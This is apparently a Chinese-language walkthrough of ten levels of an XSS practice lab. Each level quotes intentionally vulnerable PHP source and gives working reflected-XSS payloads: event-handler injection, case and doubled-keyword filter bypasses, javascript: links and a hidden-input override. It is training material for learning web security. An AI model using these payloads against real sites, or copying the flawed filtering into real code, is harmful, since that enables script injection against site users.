忘記啥時候下載的練習題,無聊拿出來做做。
打開后隨便點一下進入第一關:
第一關
源碼:
<body>
<h1 align=center>歡迎來到level1</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>歡迎用戶".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php
echo "<h3 align=center>payload的長度:".strlen($str)."</h3>";
?>
分析:沒有做任何過濾
payload為:name=<script>alert(/xss/)</script>
第二關:
源碼:
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
<center><img src=level2.png></center>
分析:有兩處輸出,第一處在PHP代碼塊的echo中輸出,第二處在表單input中輸出,第一處用htmlspeciachars()做了轉義,第二處并沒有做限制,讓payload在第二處起效果就好,有2種方法。
1.不逃逸input標簽閉合前邊的雙引號加個事件觸發xss即可:
移動下鼠標即可觸發payload為: " onmouseover="alert(/xss/)
點擊輸入框即可觸發payload為: " onclick="alert(/xss/)
點擊輸入框即可觸發payload為: " onfocus="alert(/xss/)
2.逃逸出input標簽執行另外的標簽觸發xss即可:
用<img>標簽payload為: "><img src=! onerror="alert(/xss/)">
用<img>標簽payload為:"><img src="javascript:alert(/xss/)"> //瀏覽器可能會過濾這個
用<a>標簽payload為: "><a href="javascript:alert(/xss/)">xss</a>
用<a>標簽payload為:<a href="" onmouseover="alert(/xss/)">xss</a> // 移動鼠標至框內
payload太多了,大同小異能用就行
第三關:
源碼:
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=level3.png></center>
分析:這次它將兩個輸出點都做了htmlspecialchars()轉義,那既然做了轉義那么雙引號和尖括號就沒有效果了,但是單引號在這個函數中如果沒做特殊的改動,默認是可以出效果的,而且源碼中的value是用單引號,看來是有意讓我使用單引號。
payload為:' onmouseover='alert(/xss/) //其他payload省略
第四關:
源碼:
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
分析:這里的倆個輸出點,一個被轉義,另外一個將尖括號替換為空,但是這并不影響啊,按照上兩題的套路,雖然不能閉合標簽,單照樣可以在input標簽里邊出發xss的。
payload為:" onfocus="alert(/xss/) //鼠標點擊輸入框出發,其他payload省略
第五關:
源碼:
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
分析:貌似還是和前幾題差不多只是將<script和on進行了替換但是黑名單過濾沒用啊,兩種方法都可觸發xss,第一種可以直接跳出input標簽換個其他標簽即可第二種改變下大小寫也可以,但是仔細看源代碼發現有個strtolower()函數,他會把提交的所有字符轉換為小寫,那就跳出input標簽即可。
payload為:"><a href="javascript:alert(/xss/)">xss</a>
第六關:
源碼:
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
分析:代碼中它還是進行了關鍵字過濾,但是沒有了strtolow()函數,那么進行大小寫繞過即可:
1.在input標簽中觸發XSS:
payload為:" ONmouseover="alert(/xss/) //等等...
2.跳出input標簽觸發XSS:
payload為:"><sCript>alert(/xss/)</sCript> //等等...
第七關:
源碼:
<?php
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
分析:這道題出題人似乎把上邊遇到的缺陷都補充了,但是程序有意的將特殊字符替換成空字符,這樣可以采用補充撮合的方法達到XSS攻擊效果。
1.在input標簽中觸發:
payload為:" oonnmouseover="alert(/xss/) //等等...
2.跳出input標簽觸發:
payload為:"><scscriptript>alert(/xss/)</scscriptript> //等等...
第八關:
源碼:
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情鏈接 />
</form>
</center>';
?>
<?php
echo '<center><BR><a href="'.$str7.'">友情鏈接</a></center>';
?>
分析:這次代碼先是將字符轉換為小寫,然后過濾特殊字符和雙引號,最后又怕有漏網之魚加了一個轉義函數輸出,所以按常規方法繞幾乎不可能成功,代碼處的添加友情鏈接是突破點,在input框中輸入字符提交之后,在友情鏈接處會載入一個拼接后的a標簽,因為javascript被過濾對其進行編碼繞過再點擊友情鏈接即可。
payload為:javascript:alert(/xss/)
第九關:
源碼:
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情鏈接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的鏈接不合法?有沒有!">友情鏈接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情鏈接</a></center>';
}
?>
分析:這次在上一題的基礎上加入了strpos()函數,查找如果url中找到'http'那么會返回找到位置的位數,自然不會返回0也就不會等于false,那么就可以繞過限制了,但是為什么會這么做呢?回想了下,應該是讓輸入框必須要輸入合法的URL即帶有http的字符串,那么可以向輸入框加進去就可以繞過了。
payload為:javascript:alert(/xss/)//http://
第十關:
源碼:
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
分析:這道題有倆個輸出的地方,第一個被實體化過濾,第二個是隱藏表單的"t_sort"參數即'$str33',過濾了尖括號,那么就在input標簽中觸發xss即可,可以用onmouseover或者是onclick,需要將隱藏表單顯示出來觸發:
payload為:url后加 &t_sort=xss" onmouseover=alert(/xss/) type="text"
payload為:url后加 &t_sort=xss" onclick=alert(/xss/) type="text"